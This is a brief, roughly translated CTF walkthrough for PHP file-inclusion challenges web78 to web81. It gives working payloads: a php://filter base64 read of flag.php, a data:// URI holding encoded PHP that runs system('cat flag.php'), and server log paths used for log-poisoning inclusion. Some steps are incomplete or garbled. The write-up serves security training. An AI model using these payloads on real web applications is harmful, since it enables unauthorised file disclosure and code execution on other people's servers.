Showctf starter file contains series

• web78
  Read source code ：
  
  assume , Is this ？
  direct :http://url Address /?file=flag.php, But it won't come out , The page has nothing , Thinking that this is a PHP file , It may be resolved by the server when we include . So we have to keep it from parsing , Here's a way ,PHP In pseudo protocol ：php://filter
  direct :
  http://url Address /?file=php://filter/read/convert.base64-encode/resource=flag.php
  Succeed in getting flag.php File contents of , Online URL solution base64：
  https://tool.oschina.net/encrypt?type=3
  
• web79
  This question and also use PHP Pseudo protocol in ：
  ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=<-----base64-encode/decode-----> <?php system(‘cat flag.php’);

• web80
  This paper mainly studies nginx The server's log file contains , Common server log file locations ：
  nginx: /var/log/nginx/access.log
  apache: /var/log/httpd/access_log
  bp Intercept ：
  - web81
  This question and 80 The questions are the same .